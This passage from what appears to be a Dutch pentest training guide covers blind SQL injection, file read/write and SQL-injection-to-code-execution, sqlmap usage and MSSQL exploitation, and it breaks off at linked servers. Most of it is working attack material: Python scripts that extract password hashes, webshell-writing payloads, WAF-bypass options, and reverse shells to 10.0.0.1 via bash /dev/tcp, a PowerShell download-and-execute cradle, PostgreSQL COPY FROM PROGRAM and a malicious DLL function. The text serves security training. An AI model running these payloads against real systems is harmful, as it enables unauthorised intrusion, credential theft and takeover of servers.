  WHERE table_schema='public') AS int)-- -
# Tip: Error-based is snel maar vereist verbose foutmeldingen

IB Tip: Error-based injection werkt alleen als de applicatie foutmeldingen letterlijk doorgeeft aan de gebruiker. In productie- omgevingen met generic error pages (wat het zou moeten zijn) werkt dit niet. Maar je zou verbaasd zijn hoeveel “productie”-servers gewoon volledige stack traces tonen. In 2024. Aan iedereen.

Blind SQL Injection

En dan zijn er de momenten waarop de applicatie niets teruggeeft. Geen data. Geen foutmeldingen. Alleen een pagina die er hetzelfde uitziet of net iets anders. Dit is Blind SQL Injection, en het is als communiceren met een gevangene door op de muur te kloppen: een keer kloppen voor ja, twee keer voor nee.

Het is traag. Het is moeizaam. En het werkt.

Boolean-based Blind

Bij boolean-based blind injection reageert de applicatie anders op ware en onware condities. Misschien verschijnt er een product als de conditie waar is, en een lege pagina als het onwaar is. Of de tekst “Welkom” versus “Ongeldige invoer.”

Het principe:

-- Is het eerste karakter van de versie '5'? (MySQL)
' AND SUBSTRING(version(),1,1)='5'-- -

Als de pagina normaal laadt: ja, het is MySQL 5.x. Als de pagina breekt of leeg is: nee.

Nu kun je karakter voor karakter data extraheren:

-- Is het ASCII-waarde van het eerste karakter van het admin-wachtwoord
-- groter dan 96? (= komt het na de backtick in de ASCII-tabel?)
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -

Door binary search toe te passen (is het groter dan 96? groter dan 112? groter dan 104? …) kun je met ongeveer 7 requests per karakter de exacte waarde bepalen. Voor een wachtwoord-hash van 60 karakters is dat 420 requests. Niet snel, maar geautomatiseerd heel goed te doen.

Per database

MySQL:

' AND SUBSTRING(version(),1,1)='5'-- -
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -

MSSQL:

' AND SUBSTRING(@@version,1,1)='M'-- -

PostgreSQL:

' AND (SELECT SUBSTRING(version(),1,1))='P'-- -

Time-based Blind

Soms is zelfs de boolean-respons niet detecteerbaar. De pagina ziet er altijd hetzelfde uit, ongeacht de input. Dan gebruik je tijd als communicatiekanaal.

Het idee is simpel: als de conditie waar is, laat de database 5 seconden wachten. Als de conditie onwaar is, reageer direct. Je meet de response-tijd en leidt daaruit de waarheid af.

Het is alsof je een vriend belt en zegt: “Als je honger hebt, wacht dan vijf seconden voor je opneemt.” Je krijgt geen woord — maar die stilte zegt genoeg.

MySQL:

' AND IF(1=1,SLEEP(5),0)-- -

-- Karakter voor karakter
' AND IF((SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96,SLEEP(5),0)-- -

MSSQL:

'; WAITFOR DELAY '0:0:5'-- -

'; IF (SELECT ASCII(SUBSTRING((SELECT TOP 1 password
  FROM users),1,1)))>96 WAITFOR DELAY '0:0:5'-- -

PostgreSQL:

'; SELECT CASE WHEN (1=1)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

'; SELECT CASE WHEN
  (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -

Oracle:

' AND 1=(CASE WHEN (1=1)
  THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -

PostgreSQL-specials

PostgreSQL heeft een paar handige trucs als quotes worden gefilterd:

-- CHR() bypass (geen quotes nodig)
CHR(65)||CHR(66)   -- = 'AB'

-- Dollar-quoted strings
$$string$$           -- = 'string'

Het IB command file: web_sqli_blind

# SQL Injection - Blind (Boolean + Time-Based)
# === BOOLEAN BLIND (response verschil = true/false) ===
# MySQL:
' AND SUBSTRING(version(),1,1)='5'-- -
' AND (SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96-- -
# MSSQL:
' AND SUBSTRING(@@version,1,1)='M'-- -
# PostgreSQL:
' AND (SELECT SUBSTRING(version(),1,1))='P'-- -
# === TIME-BASED BLIND (geen zichtbaar verschil) ===
# MySQL:
' AND IF(1=1,SLEEP(5),0)-- -
' AND IF((SELECT ASCII(SUBSTRING(password,1,1))
  FROM users WHERE username='admin')>96,SLEEP(5),0)-- -
# MSSQL:
'; WAITFOR DELAY '0:0:5'-- -
'; IF (SELECT ASCII(SUBSTRING((SELECT TOP 1 password
  FROM users),1,1)))>96 WAITFOR DELAY '0:0:5'-- -
# PostgreSQL:
'; SELECT CASE WHEN (1=1)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
'; SELECT CASE WHEN
  (ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96)
  THEN pg_sleep(5) ELSE pg_sleep(0) END-- -
# Oracle:
' AND 1=(CASE WHEN (1=1)
  THEN DBMS_PIPE.RECEIVE_MESSAGE('a',5) ELSE 0 END)-- -
# === PostgreSQL specials ===
# CHR() bypass (geen quotes nodig): CHR(65)||CHR(66) = 'AB'
# Dollar-quoted strings: $$string$$ = 'string'
# Tip: Automatiseer met Python script of sqlmap

Blind extractie automatiseren met Python

Het met de hand extraheren van data via blind injection is als het overschrijven van Oorlog en Vrede op een typemachine waarvan alleen de letter ‘a’ werkt. Technisch mogelijk, praktisch waanzin. Dus schrijven we een script.

Hier is een voorbeeld dat boolean-based blind injection automatiseert voor MySQL:

#!/usr/bin/env python3
"""
Blind SQL Injection - Boolean-based data extractor
Gebruik: python3 blind_extract.py
"""

import requests
import string
import sys

# === CONFIGURATIE ===
TARGET_URL = "http://shop.local/product"
PARAM = "id"
CLEAN_VALUE = "3"
TRUE_INDICATOR = "Laptop"  # tekst die verschijnt als conditie WAAR is

# Karakterset voor de zoekopdracht
CHARSET = string.printable

def is_true(payload: str) -> bool:
    """Stuur een payload en check of de response 'waar' aangeeft."""
    params = {PARAM: f"{CLEAN_VALUE}{payload}"}
    r = requests.get(TARGET_URL, params=params, timeout=10)
    return TRUE_INDICATOR in r.text

def extract_length(query: str, max_len: int = 100) -> int:
    """Bepaal de lengte van het resultaat met binary search."""
    low, high = 1, max_len
    while low < high:
        mid = (low + high) // 2
        payload = f"' AND (SELECT LENGTH(({query})))>{mid}-- -"
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return low

def extract_char(query: str, position: int) -> str:
    """Extraheer een enkel karakter met binary search op ASCII-waarde."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = (
            f"' AND (SELECT ASCII(SUBSTRING(({query}),{position},1)))"
            f">{mid}-- -"
        )
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_data(query: str) -> str:
    """Extraheer het volledige resultaat van een SQL-query."""
    length = extract_length(query)
    print(f"[*] Lengte: {length} karakters")

    result = ""
    for i in range(1, length + 1):
        char = extract_char(query, i)
        result += char
        sys.stdout.write(f"\r[*] Data: {result}")
        sys.stdout.flush()

    print()  # newline
    return result

if __name__ == "__main__":
    print("[*] Blind SQLi Extractor")
    print("[*] Target:", TARGET_URL)
    print()

    # Stap 1: Database-versie
    print("[+] Database versie:")
    version = extract_data("SELECT version()")
    print(f"    {version}")
    print()

    # Stap 2: Tabelnamen
    print("[+] Tabellen in huidige database:")
    tables = extract_data(
        "SELECT group_concat(table_name) "
        "FROM information_schema.tables "
        "WHERE table_schema=database()"
    )
    print(f"    {tables}")
    print()

    # Stap 3: Gebruikers dumpen
    print("[+] Gebruikers:")
    users = extract_data(
        "SELECT group_concat(username,0x3a,password) FROM users"
    )
    print(f"    {users}")

Dit script gebruikt binary search: in plaats van alle 95 printbare ASCII-waarden te proberen, halveert het de zoekruimte bij elke request. Dat reduceert het van ~47 requests per karakter naar ~7.

En hier is de time-based variant, voor als er helemaal geen zichtbaar verschil is:

#!/usr/bin/env python3
"""
Blind SQL Injection - Time-based data extractor
"""

import requests
import sys
import time

TARGET_URL = "http://shop.local/product"
PARAM = "id"
CLEAN_VALUE = "3"
SLEEP_TIME = 2  # seconden
THRESHOLD = SLEEP_TIME - 0.5  # response moet langer dan dit zijn

def is_true(payload: str) -> bool:
    """Stuur payload, meet response-tijd."""
    params = {PARAM: f"{CLEAN_VALUE}{payload}"}
    start = time.time()
    try:
        requests.get(TARGET_URL, params=params, timeout=SLEEP_TIME + 5)
    except requests.Timeout:
        return True
    elapsed = time.time() - start
    return elapsed > THRESHOLD

def extract_char(query: str, position: int) -> str:
    """Extraheer een karakter via time-based blind."""
    low, high = 32, 126
    while low < high:
        mid = (low + high) // 2
        payload = (
            f"' AND IF((SELECT ASCII(SUBSTRING(({query}),"
            f"{position},1)))>{mid},"
            f"SLEEP({SLEEP_TIME}),0)-- -"
        )
        if is_true(payload):
            low = mid + 1
        else:
            high = mid
    return chr(low)

def extract_data(query: str, max_len: int = 64) -> str:
    """Extraheer data karakter voor karakter."""
    result = ""
    for i in range(1, max_len + 1):
        char = extract_char(query, i)
        if ord(char) <= 32:  # spatie of control char = einde
            break
        result += char
        sys.stdout.write(f"\r[*] Data: {result}")
        sys.stdout.flush()
    print()
    return result

if __name__ == "__main__":
    print(f"[*] Time-based Blind SQLi (sleep={SLEEP_TIME}s)")
    print(f"[!] Dit gaat langzaam. Haal koffie.")
    print()

    version = extract_data("SELECT version()")
    print(f"[+] Versie: {version}")

IB Tip: Time-based blind extraction is extreem langzaam. Voor een hash van 60 karakters met 7 requests per karakter a 2 seconden per request: 60 x 7 x 2 = 840 seconden = 14 minuten. Per hash. Gebruik het alleen als er geen andere optie is. Of gebruik sqlmap, dat dit allemaal voor je doet.

File Read/Write via SQL Injection

Soms is het lezen van database-inhoud niet genoeg. Soms wil je bestanden van het bestandssysteem lezen. Of — en hier wordt het echt gevaarlijk — bestanden schrijven. Want als je een bestand kunt schrijven naar de webroot, kun je een webshell plaatsen. En dan heb je remote code execution.

Van SQL Injection naar volledige server-controle. In twee stappen.

MySQL: bestanden lezen

-- /etc/passwd lezen
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -

-- Applicatieconfig lezen (database credentials!)
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -

LOAD_FILE() leest een bestand van de server en retourneert het als string. Ideaal om configuratiebestanden te lezen die database-wachtwoorden bevatten. Want ja, de meeste PHP-applicaties bewaren hun database-credentials in een plaintext config-bestand. We zijn hier niet bij NASA.

Vereisten: - De MySQL-gebruiker moet de FILE privilege hebben - De variabele secure_file_priv mag niet restrictief zijn

Check secure_file_priv:

-- Via SQLi (als je al data kunt extraheren):
' UNION SELECT 1,@@secure_file_priv,3,4-- -

-- Of in een MySQL shell:
SHOW VARIABLES LIKE 'secure_file_priv';

Als secure_file_priv leeg is: je kunt overal lezen/schrijven. Als het een pad bevat (bijv. /var/lib/mysql-files/): je kunt alleen in dat pad werken. Als het NULL is: geen file operaties mogelijk.

MySQL: bestanden schrijven

-- Webshell schrijven
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4
  INTO OUTFILE '/var/www/html/shell.php'-- -

Dat schrijft een PHP-bestand naar de webroot. Bezoek vervolgens:

http://target/shell.php?cmd=id

En je hebt command execution.

Als de applicatie aanhalingstekens filtert, gebruik dan hex-encoding:

-- 0x3c3f... is de hex-waarde van <?php system($_GET["cmd"]); ?>
' UNION SELECT 1,
  0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e,
  3,4 INTO OUTFILE '/var/www/html/shell.php'-- -

Vereisten: - FILE privilege - Schrijfrechten op het pad - secure_file_priv staat het toe

PostgreSQL: bestanden lezen en schrijven

PostgreSQL heeft zijn eigen mechanismen:

-- Bestand lezen (superuser of standaard in data directory)
' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -

Voor meer geavanceerde scenario’s zijn er Large Objects:

-- Bestand importeren als Large Object
SELECT lo_import('/etc/passwd', 1337);
-- Large Object lezen
SELECT lo_get(1337);

-- Bestand schrijven via Large Objects
SELECT lo_from_bytea(0, decode('base64data', 'base64'));
SELECT lo_export(0, '/var/www/html/shell.php');

Via COPY:

COPY (SELECT '') TO '/tmp/test.txt';

MSSQL: bestanden lezen

MSSQL heeft geen directe LOAD_FILE() equivalent, maar met xp_cmdshell kun je het besturingssysteem zelf bestanden laten lezen:

' UNION SELECT 1,2,3,4;
  EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config'-- -

Het IB command file: web_sqli_file_rw

# SQL Injection - File Read/Write
# === MySQL File Lezen ===
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3,4-- -
' UNION SELECT 1,LOAD_FILE('/var/www/html/config.php'),3,4-- -
# Vereist: FILE privilege + secure_file_priv niet restrictief
# === MySQL File Schrijven (webshell) ===
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4
  INTO OUTFILE '/var/www/html/shell.php'-- -
' UNION SELECT 1,
  0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e,
  3,4 INTO OUTFILE '/var/www/html/shell.php'-- -
# Vereist: FILE privilege + schrijfrechten op pad
# === PostgreSQL File Lezen ===
' UNION SELECT 1,pg_read_file('/etc/passwd'),3-- -
# Via COPY:
COPY (SELECT '') TO '/tmp/test.txt';
# === PostgreSQL Large Objects (binary bestanden) ===
SELECT lo_import('/etc/passwd', 1337);
SELECT lo_get(1337);
# File schrijven via Large Objects:
SELECT lo_from_bytea(0, decode('base64data', 'base64'));
SELECT lo_export(0, '/var/www/html/shell.php');
# === MSSQL File Lezen ===
' UNION SELECT 1,2,3,4;
  EXEC xp_cmdshell 'type C:\inetpub\wwwroot\web.config'-- -
# Tip: MySQL secure_file_priv check:
#   SHOW VARIABLES LIKE 'secure_file_priv'
# Tip: PostgreSQL: pg_read_file werkt alleen in data directory
#   tenzij superuser

IB Tip: Het lezen van /etc/passwd is de klassieke proof-of-concept, maar het echte goud zit in configuratiebestanden: /var/www/html/config.php, /var/www/html/.env, C:\inetpub\wwwroot\web.config. Daar staan de database-credentials, API-keys, en soms — helaas — hardcoded wachtwoorden.

SQL Injection naar Remote Code Execution

Dit is waar SQL Injection ophoudt een “data breach” te zijn en een “volledige compromittering” wordt. Van het lezen van wachtwoord-hashes naar het uitvoeren van willekeurige commando’s op de server. Van diefstal naar controle.

Er zijn verschillende routes, afhankelijk van het database-systeem.

Route 1: MSSQL — xp_cmdshell

Dit is de koninklijke route. MSSQL heeft een ingebouwde stored procedure genaamd xp_cmdshell die operating system commando’s uitvoert. Het is alsof je een achterdeur in een kluis hebt ingebouwd en er vervolgens een bordje “NIET GEBRUIKEN” op hebt gehangen.

-- Stap 1: Geavanceerde opties inschakelen
'; EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;-- -

-- Stap 2: xp_cmdshell inschakelen
'; EXEC sp_configure 'xp_cmdshell',1;
  RECONFIGURE;-- -

-- Stap 3: Commando uitvoeren
'; EXEC xp_cmdshell 'whoami';-- -

En als je eenmaal whoami kunt draaien, kun je alles:

-- Reverse shell via PowerShell
'; EXEC xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')';-- -

Dat downloadt en voert een PowerShell-script uit dat een reverse shell opzet. Van SQL Injection naar een volledige command-and-control sessie in twee regels.

Route 2: MySQL — Webshell via INTO OUTFILE

Als je file-write rechten hebt (zie vorige sectie):

' UNION SELECT '<?php system($_GET["cmd"]); ?>'
  INTO OUTFILE '/var/www/html/shell.php'-- -

Gebruik:

# Commando uitvoeren
curl "http://target/shell.php?cmd=id"

# Reverse shell
curl "http://target/shell.php?cmd=bash+-i+>%26+/dev/tcp/10.0.0.1/443+0>%261"

Route 3: PostgreSQL — COPY FROM PROGRAM

PostgreSQL heeft een feature die zo krachtig is dat het bijna crimineel is: COPY FROM PROGRAM. Het voert een shell-commando uit en leest de output als tabeldata. Het is bedoeld voor data-import. Het wordt gebruikt voor reverse shells.

-- Stap 1: Schrijf een reverse shell script
'; COPY (SELECT 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1')
  TO '/tmp/shell.sh';-- -

-- Stap 2: Voer het uit via COPY FROM PROGRAM
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'bash /tmp/shell.sh';-- -

Er is ook de UDF-route (User Defined Function) voor complexere scenario’s:

-- Upload een C-extensie via Large Objects
SELECT lo_import('\\10.0.0.1\share\rev_shell.dll', 1337);
SELECT lo_export(1337, 'C:\path\rev_shell.dll');

-- Maak een functie die de extensie aanroept
CREATE OR REPLACE FUNCTION rev_shell(text, integer)
  RETURNS void
  AS 'C:\path\rev_shell.dll','connect_back'
  LANGUAGE C STRICT;

-- Roep de functie aan
SELECT rev_shell('10.0.0.1', 443);

Het IB command file: web_sqli_rce

# SQL Injection to RCE - Meerdere databases
# === MSSQL: xp_cmdshell ===
'; EXEC sp_configure 'show advanced options',1;
  RECONFIGURE;-- -
'; EXEC sp_configure 'xp_cmdshell',1;
  RECONFIGURE;-- -
'; EXEC xp_cmdshell 'whoami';-- -
'; EXEC xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')';-- -
# === MySQL: INTO OUTFILE webshell ===
' UNION SELECT '<?php system($_GET["cmd"]); ?>'
  INTO OUTFILE '/var/www/html/shell.php'-- -
# Gebruik: http://target/shell.php?cmd=id
# === PostgreSQL: COPY TO + reverse shell ===
'; COPY (SELECT 'bash -i >& /dev/tcp/10.0.0.1/443 0>&1')
  TO '/tmp/shell.sh';-- -
'; CREATE TABLE cmd_exec(cmd_output text);
  COPY cmd_exec FROM PROGRAM 'bash /tmp/shell.sh';-- -
# === PostgreSQL: UDF (User Defined Function) ===
# Stap 1: Compileer C extensie met reverse shell
# Stap 2: Upload via Large Objects
SELECT lo_import('\\10.0.0.1\share\rev_shell.dll', 1337);
SELECT lo_export(1337, 'C:\path\rev_shell.dll');
# Stap 3: Maak functie en roep aan
CREATE OR REPLACE FUNCTION rev_shell(text,integer)
  RETURNS void
  AS 'C:\path\rev_shell.dll','connect_back'
  LANGUAGE C STRICT;
SELECT rev_shell('10.0.0.1', 443);
# Tip: PostgreSQL COPY FROM PROGRAM = directe RCE (superuser nodig)
# Tip: MSSQL xp_cmdshell = meest voorkomend in OSCP/OSWA examen

IB Tip: Als je via SQLi een reverse shell opzet, zorg ervoor dat je listener al draait voordat je de payload triggert. Er is weinig triester dan een perfecte SQL Injection die een reverse shell stuurt naar een poort waar niemand luistert.

sqlmap: het Zwitsers zakmes

Er komt een moment in het leven van elke pentester waarop je denkt: “Ik heb nu genoeg handmatige SQL Injection gedaan. Kan iemand dit automatiseren?”

Die iemand heet Bernardo Damele en Miroslav Stampar, en hun creatie heet sqlmap. Het is een open-source tool dat SQL Injection detecteert en exploiteert met een efficiëntie die grenst aan het onbeleefde.

Je geeft sqlmap een URL met een verdachte parameter, en het probeert elke techniek die in dit hoofdstuk is beschreven — UNION, error-based, blind boolean, blind time-based, stacked queries — automatisch. Het is als het inhuren van een team van zes specialisten voor de prijs van een command-line tool.

Basis gebruik

# Simpelste scan
sqlmap -u "http://target/page?id=1" --batch

# Met POST data
sqlmap -u "http://target/api" \
  --method POST \
  --data "id=1&sort=name" \
  -p id \
  --batch

# Met cookie (voor authenticated scans)
sqlmap -u "http://target/page?id=1" \
  --cookie="PHPSESSID=abc123" \
  --batch

De --batch flag beantwoordt alle vragen automatisch met de default optie. Zonder die flag stopt sqlmap elke vijf seconden om je een vraag te stellen, wat na de derde keer zoiets doet met je geduld als een druppende kraan om drie uur ’s nachts.

Database enumereren

# Toon alle databases
sqlmap -u "http://target/page?id=1" --dbs

# Toon tabellen in een specifieke database
sqlmap -u "http://target/page?id=1" -D dbname --tables

# Dump een tabel
sqlmap -u "http://target/page?id=1" -D dbname -T users --dump

# Alleen specifieke kolommen
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users \
  -C username,password \
  --dump

Geavanceerde opties

# Interactieve OS-shell
sqlmap -u "http://target/page?id=1" --os-shell

# SQL-shell (voer willekeurige SQL uit)
sqlmap -u "http://target/page?id=1" --sql-shell

# Bestand lezen van de server
sqlmap -u "http://target/page?id=1" \
  --file-read="/etc/passwd"

# Webshell uploaden
sqlmap -u "http://target/page?id=1" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"

Technieken specificeren

Soms wil je sqlmap beperken tot een specifieke techniek, bijvoorbeeld als UNION-based de enige is die werkt en je niet wilt wachten tot alle time-based tests zijn afgerond:

# Alleen UNION-based
sqlmap -u "http://target/page?id=1" --technique=U

# Alleen blind boolean
sqlmap -u "http://target/page?id=1" --technique=B

# Alleen time-based
sqlmap -u "http://target/page?id=1" --technique=T

# Alles proberen (standaard)
sqlmap -u "http://target/page?id=1" --technique=BEUSTQ

De letters staan voor: Boolean blind, Error-based, UNION query, Stacked queries, Time-based blind, Query inline.

Burp Suite integratie

De krachtigste manier om sqlmap te gebruiken is met een vastgelegd request uit Burp Suite:

# Stap 1: In Burp, rechtermuisknop op het request → "Copy to file"
# Stap 2: Voer sqlmap uit met dat bestand
sqlmap -r request.txt --batch

Dit behoudt alle headers, cookies, en body-parameters exact zoals de browser ze verstuurde. Geen gedoe met het reconstrueren van complexe requests.

WAF bypass met tamper scripts

Als er een Web Application Firewall (WAF) is die je payloads blokkeert:

# space2comment: vervangt spaties door /**/
sqlmap -u "http://target/page?id=1" \
  --tamper=space2comment

# Meerdere tampers combineren
sqlmap -u "http://target/page?id=1" \
  --tamper=space2comment,between,randomcase

# Diepere scan (meer payloads, meer risico)
sqlmap -u "http://target/page?id=1" \
  --risk=3 --level=5

Populaire tamper scripts: - space2comment — spaties worden /**/ - between> wordt NOT BETWEEN 0 AND - randomcaseSELECT wordt SeLeCt - charencode — URL-encodeert de payload - equaltolike= wordt LIKE

Het IB command file: web_sqli_sqlmap

# SQLMap - Geautomatiseerde SQL Injection
# === Basis scan ===
sqlmap -u "http://target/page?id=1" --batch
# POST data:
sqlmap -u "http://target/api" --method POST \
  --data "id=1&sort=name" -p id --batch
# Met cookie:
sqlmap -u "http://target/page?id=1" \
  --cookie="PHPSESSID=abc123" --batch
# === Enumeratie ===
sqlmap -u "http://target/page?id=1" --dbs
sqlmap -u "http://target/page?id=1" -D dbname --tables
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users --dump
# Specifieke kolommen:
sqlmap -u "http://target/page?id=1" \
  -D dbname -T users -C username,password --dump
# === Geavanceerd ===
# OS shell (interactief):
sqlmap -u "http://target/page?id=1" --os-shell
# SQL shell:
sqlmap -u "http://target/page?id=1" --sql-shell
# File lezen:
sqlmap -u "http://target/page?id=1" \
  --file-read="/etc/passwd"
# File schrijven (webshell):
sqlmap -u "http://target/page?id=1" \
  --file-write="shell.php" \
  --file-dest="/var/www/html/shell.php"
# === Techniek specificeren ===
# Alleen UNION: --technique=U
# Alleen blind: --technique=B
# Alleen time: --technique=T
# Alle technieken: --technique=BEUSTQ
# === Burp request gebruiken ===
sqlmap -r request.txt --batch
# Tip: --batch = geen interactieve vragen,
#   --risk=3 --level=5 voor diepere scan
# Tip: --tamper=space2comment voor WAF bypass

IB Tip: sqlmap slaat resultaten op in ~/.sqlmap/output/. Als je een scan hervat na een onderbreking, pakt sqlmap automatisch de cache op. Gebruik --flush-session als je een schone start wilt. Gebruik --fresh-queries als je de cache wilt negeren maar de sessie wilt behouden.

MSSQL-specifiek: het Windows-ecosysteem

Microsoft SQL Server is een apart verhaal. Niet alleen omdat het op Windows draait (hoewel er tegenwoordig een Linux-versie is die niemand vrijwillig gebruikt), maar omdat het diep geintegreerd is met Active Directory. Een gecompromitteerde SQL Server is vaak de eerste stap naar het compromitteren van een heel Windows-domein.

Hier betreden we het terrein van het netwerk-pentest. SQL Injection was de deur; MSSQL is de gang die naar de rest van het gebouw leidt.

xp_cmdshell: commando-uitvoering

We hebben xp_cmdshell al gezien in de RCE-sectie, maar laten we het compleet behandelen.

Stap 1: Check of xp_cmdshell actief is

SELECT * FROM sys.configurations
  WHERE name = 'xp_cmdshell'

Of via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Get-SQLQuery -Instance 'TARGET,1433' `
  -Query "SELECT * FROM sys.configurations
  WHERE name = 'xp_cmdshell'"

Stap 2: Activeer xp_cmdshell (sysadmin-rechten vereist)

EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

Stap 3: Commando’s uitvoeren

EXEC master..xp_cmdshell 'whoami'
EXEC master..xp_cmdshell 'ipconfig'
EXEC master..xp_cmdshell 'net user'

Stap 4: Reverse shell

EXEC master..xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')'

Via PowerUpSQL:

Import-Module .\PowerUpSQL.ps1
Invoke-SQLOSCmd -Instance 'TARGET,1433' `
  -Command 'whoami' -RawResults

IB Tip: Na gebruik altijd xp_cmdshell weer uitschakelen: EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE; Dit is niet uit nettighied, maar om te voorkomen dat andere aanvallers (of geautomatiseerde scans) dezelfde route vinden.

Alternatieve methoden als xp_cmdshell geblokkeerd is:

Als de beheerder xp_cmdshell heeft uitgeschakeld en je kunt het niet weer inschakelen (misschien via een trigger of audit), zijn er alternatieven:

-- sp_OACreate (COM objects)
EXEC sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;
DECLARE @shell INT;
EXEC sp_OACreate 'wscript.shell', @shell OUTPUT;
EXEC sp_OAMethod @shell, 'run', null, 'whoami > C:\temp\out.txt';

-- CLR Assembly (custom .NET code laden)
-- (complexer, maar moeilijker te blokkeren)

Het IB command file: mssql_xpcmdshell

# MSSQL xp_cmdshell - OS Command Execution
# Stap 1: Check of xp_cmdshell actief is
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLQuery -Instance 'TARGET,1433'
  -Query 'SELECT * FROM sys.configurations
  WHERE name = ''xp_cmdshell'''"
# Stap 2: Activeer xp_cmdshell (sysadmin nodig)
EXEC sp_configure 'show advanced options', 1;
  RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
  RECONFIGURE;
# Stap 3: Commando uitvoeren
EXEC master..xp_cmdshell 'whoami'
# Stap 4: Reverse shell via xp_cmdshell
EXEC master..xp_cmdshell 'powershell -ep bypass -c
  IEX(New-Object Net.WebClient).DownloadString(
  ''http://10.0.0.1/payloads/amsi-shell.ps1'')'
# Via PowerUpSQL:
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Invoke-SQLOSCmd -Instance 'TARGET,1433'
  -Command 'whoami' -RawResults"
# Tip: Na gebruik weer uitschakelen:
#   EXEC sp_configure 'xp_cmdshell', 0; RECONFIGURE;
# Tip: Als xp_cmdshell geblokkeerd is,
#   probeer sp_OACreate of CLR assembly

MSSQL Enumeratie met PowerUpSQL

Voordat je xp_cmdshell gaat afvuren, wil je weten waar je mee te maken hebt. PowerUpSQL is een PowerShell-module die MSSQL-enumeratie automatiseert.

SQL Server instances vinden in het domein:

Import-Module .\PowerUpSQL.ps1

# Stap 1: Vind alle SQL Server instances
Get-SQLInstanceDomain -Verbose

# Stap 2: Welke zijn bereikbaar?
Get-SQLInstanceDomain |
  Get-SQLConnectionTestThreaded -Verbose

# Stap 3: Server-informatie ophalen
Get-SQLInstanceDomain |
  Get-SQLServerInfo -Verbose

Rechten en databases enumereren:

# Audit de instance
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose

# Databases bekijken
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose

# Tabellen in een database
Get-SQLTable -Instance 'TARGET,1433' `
  -DatabaseName master -Verbose

# Check of we sysadmin zijn
Get-SQLQuery -Instance 'TARGET,1433' `
  -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"

Linked servers ontdekken:

Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose

Dit is cruciaal, want linked servers zijn vaak de sleutel tot laterale beweging door het netwerk.

Het IB command file: mssql_enum

# MSSQL Enumeratie met PowerUpSQL
# Stap 1: Vind SQL Server instances in het domein
powershell -c "Import-Module .\PowerUpSQL.ps1;
  Get-SQLInstanceDomain -Verbose"
# Stap 2: Check welke instances bereikbaar zijn
Get-SQLInstanceDomain |
  Get-SQLConnectionTestThreaded -Verbose
# Stap 3: Server info ophalen
Get-SQLInstanceDomain |
  Get-SQLServerInfo -Verbose
# Stap 4: Check huidige rechten
Invoke-SQLAudit -Instance 'TARGET,1433' -Verbose
# Stap 5: Database enumeratie
Get-SQLDatabase -Instance 'TARGET,1433' -Verbose
Get-SQLTable -Instance 'TARGET,1433'
  -DatabaseName master -Verbose
# Stap 6: Linked servers ontdekken
Get-SQLServerLinkCrawl -Instance 'TARGET,1433' -Verbose
# Stap 7: Check for sysadmin
Get-SQLQuery -Instance 'TARGET,1433'
  -Query "SELECT IS_SRVROLEMEMBER('sysadmin')"
# Tip: SQL Server service accounts hebben vaak
#   hoge privileges in AD

IB Tip: SQL Server service accounts draaien verbazingwekkend vaak als domein-gebruiker met te hoge privileges. Soms zelfs als Domain Admin. Dit is het soort configuratiekeuze dat gemaakt wordt op een vrijdagmiddag om halfvijf en vervolgens nooit meer wordt herzien.

Linked Servers: de springplank

Linked servers zijn MSSQL’s manier om verbinding te maken met andere database-servers. Het idee is onschuldig: je hebt SQL Server A en SQL Server B, en je wilt vanuit A queries uitvoeren op B. SQL Server biedt dit via linked servers.

Het probleem is dat linked server-verbindingen vaak draaien met hogere privileges dan de originele verbinding. Als je op SQL1 een gewone gebruiker bent, maar SQL1 heeft een linked server naar SQL2 die als sa (sysadmin) draait, dan heb je via SQL1 sysadmin-rechten op SQL2.

